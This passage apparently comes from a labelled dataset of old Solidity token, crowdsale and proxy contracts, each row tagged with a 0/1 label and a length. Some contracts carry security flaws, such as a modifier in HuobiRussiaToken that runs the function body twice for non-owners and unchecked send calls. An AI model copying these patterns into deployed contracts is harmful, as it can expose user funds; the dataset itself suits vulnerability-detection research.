emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 6;
uint8 public constant TOKEN_DECIMALS_UINT8 = 6;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "1irst";
string public constant TOKEN_SYMBOL = "FST";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x89cc23D79ef2B11E46b9ce72CcCF6839fa6a43C8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x89cc23d79ef2b11e46b9ce72cccf6839fa6a43c8)];
uint[1] memory amounts = [uint(100000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,978 |
pragma solidity ^0.4.13;
contract CentraWhiteList {
using SafeMath for uint;
address public owner;
uint public operation;
mapping(uint => address) public operation_address;
mapping(uint => uint) public operation_amount;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraWhiteList() {
owner = msg.sender;
operation = 0;
}
function() payable {
if(!(msg.value > 0)) throw;
operation_address[operation] = msg.sender;
operation_amount[operation] = msg.value;
operation = operation.add(1);
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 1 | 3,782 |
pragma solidity 0.4.11;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes _data, address _sender) payable returns(bytes32) {
throw;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract CareAdministrationNetwork is ERC20Interface, AssetProxyInterface, Bytes32 {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
bytes32 result = _getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
assembly {
mstore(0, result)
return(0, 32)
}
}
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 3,936 |
pragma solidity 0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
bool public transfersEnabledFlag;
modifier transfersEnabled() {
require(transfersEnabledFlag);
_;
}
function enableTransfers() public onlyOwner {
transfersEnabledFlag = true;
}
function transfer(address _to, uint256 _value) transfersEnabled() public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mapping(address => bool) public minters;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMinters() {
require(minters[msg.sender] || msg.sender == owner);
_;
}
function addMinter(address _addr) public onlyOwner {
minters[_addr] = true;
}
function deleteMinter(address _addr) public onlyOwner {
delete minters[_addr];
}
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract ParameterizedToken is CappedToken {
string public name;
string public symbol;
uint256 public decimals;
function ParameterizedToken(string _name, string _symbol, uint256 _decimals, uint256 _capIntPart) public CappedToken(_capIntPart * 10 ** _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract ZingToken is ParameterizedToken {
function ZingToken() public ParameterizedToken("Zing Token", "ZING", 8, 110000000) {
}
} | 1 | 3,036 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused && msg.sender != owner);
_;
}
function pause() onlyOwner public {
paused = true;
emit Pause();
}
function unpause() onlyOwner public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor() public {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
function mint(
address _to,
uint256 _amount
)
onlyOwner
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor() public {
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SCU is StandardToken, DetailedERC20, Ownable, PausableToken, CappedToken, BurnableToken {
constructor() public {
symbol = "SCU";
name = "Space.Cloud.Unit";
decimals = 18;
cap = 150000000 * 10**uint(decimals);
totalSupply_ = 0;
}
} | 1 | 3,185 |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor (
address ifSuccessfulSendTo,
uint fundingGoalInFinney,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInFinney * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1000 wei;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 1,095 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
uint public start;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier tokenIsOn() {
if (msg.sender != owner){
require(now > start);
_;}
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function startToken(uint startDate) onlyOwner {
start = startDate;
}
}
contract ERC20Basic is Ownable {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) tokenIsOn returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) tokenIsOn returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue);
Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue);
Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
}
contract HuobiRussiaToken is StandardToken {
string public constant name = "Huobi Token Russia";
string public constant symbol = "HTR";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 200000000 * 1 ether;
function HuobiRussiaToken() {
totalSupply = INITIAL_SUPPLY;
